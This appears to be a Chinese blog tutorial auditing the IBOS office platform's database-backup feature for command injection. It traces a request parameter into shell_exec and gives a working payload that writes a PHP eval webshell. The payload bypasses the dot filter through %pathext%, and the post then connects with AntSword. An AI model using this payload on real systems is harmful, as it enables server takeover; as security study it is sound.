1. 准备阶段

网站:IBOS协同办公平台
审计软件:Seay源码审计系统

漏洞:

  • 命令执行漏洞

    • 含义:应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

2. 攻击复现

2.1 搜索危险函数

在这里我们搜索危险函数shell_exec,结果如下

在这里插入图片描述

发现有两个文件包含这个危险函数,双击第一个进去

2.2 查看函数,同时查看页面

2.2.1 审计代码

代码

shell_exec($mysqlBin . 'mysql -h"' . $db['host'] . ($db['port'] ? 
(is_numeric($db['port']) ? ' -P' . $db['port'] : ' -S"' . $db['port'] 
. '"') : '') .'" -u"' . $db['username'] . '" -p"' . $db['password'] 
. '" "' . $db['dbname'] . '" < ' . $file);

在这里插入图片描述

  • 首先联系上下文的注释,发现这是一个sql备份的功能

  • $mysqlBin是一个数据库查询语句的结果,无法修改

  • . ‘mysql -h"’ . $db[‘host’] . 这里的意思就是,后续接上一个地址

  • . (db[‘port’] ? (is_numeric(db[‘port’]) ? ’ -P’ . db[‘port’] : ’ -S"’ . db[‘port’] . 这里的意思就是查看端口port是否为数字,如果是数字则-p ,后续跟端口号,如果不是数字型,则否则假定端口是套接字文件路径,并使用-S指定。

  • 后续的基本都是这个格式,那么在这里我们就只需要看$file这个变量

2.2.2 定位$file

先进行全文追踪

在这里插入图片描述

定位restore函数

在这里插入图片描述

但发现都没有我们想要的信息(除了restore.php出现了$file,其他都未出现这个变量),此时便丢失了方向。

2.2.3 双击进入Id=2的文件查看shell_exec

但我们在搜索shell_exec一共有2个文件采用了该危险函数,此时我们点击第二个进去看看。

代码

shell_exec("{$mysqlBin}mysqldump --force --quick $command1
 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" 
$command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\"
 \"{$db["dbname"]}\" $tablesstr > $dumpFile");

2.2.4 mysqldump

查看代码发现了mysqldump,上网查询资料后发现

在这里插入图片描述

这是一个数据库备份软件,从而证明这也是一个数据库备份功能。

我们查看mysqldump对应的选项与上述代码,然后理解代码。

前面的command感觉就是一些内容,这些内容都在数据库里面,修改不了。$tablesstr> $dumpFile这个意思是将$tablesstr输出重定向到$dumpFile,那么我们就只需要看$dumpfile

注意: 符号将导出的数据重定向到指定的文件中,文件路径由 $dumpFile 指定

2.2.5 全文跟踪$dumpfile

全文跟踪

在这里插入图片描述

它等于$backupFileName后面在跟上一个.sql后缀名。 ==》 因为sql备份导出来一般都是.sql文件。

2.2.6 全文跟踪$backFilename

在这里插入图片描述

看这语句,意思是$backFilename是由 $filename过滤来的,那么我们又需要去跟踪$filename怎么来的。

2.2.7 全文跟踪$filename

在这里插入图片描述

的出信息是,这个是从getRequest里面抓的名字叫filename的信息的,然后拼接一个.sql后缀输出出来。

总结一下我们得到的信息

  • 信息传递流程getRequset()filename>$filename>$backFilename==>$dumpfile

  • 过滤的功能,在2.2.6中可以看到过滤了 / \\ . '这4个符号,它将这4个符号转变成了空值

2.3 构造Payload

在这里插入图片描述

在这个页面,点击提交然后bp抓包

在这里插入图片描述

如上图所示,并且我们也可以看到里面有$filename,那么我们就在这里修改$filename的值

payload

%26echo%20"<?php%20eval($_REQUEST[6]);?>"%20>1%pathext:~0,1%php%26

解释:

先变成看的懂的
&echo "<?php eval($_REQUEST[6]);?>" > 1.php&
但是根据2.2.7总结的信息,系统过滤了 . 的,所以我们不能直接明显的写出 . 
%pathext%: 这是一个环境变量,通常用于存储可执行文件的文件扩展名列表。
例如,它可能包含 .exe, .bat, .cmd 等。这个变量允许系统知道在执行命
令时应该在哪些文件扩展名下搜索可执行文件。那么这里的拓展名第一个字符就
是 . 了,然后再 :~0,1 其中~0 是从0开始 1就是截取一个字符,二者结合起
来就是,将%pathext%中的第一个字符截取出来,就是 . ,这样就绕过检测了。

在框那里插入payload

在这里插入图片描述

然后我们就可以在恢复那里看到我们创建的备份文件了

在这里插入图片描述

然后我们就可以看见我们设置的1.php了

在这里插入图片描述

获取探针

在这里插入图片描述

2.4 连接蚁剑

测试连接

在这里插入图片描述

连接成功,获得shell,完结。

在这里插入图片描述

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐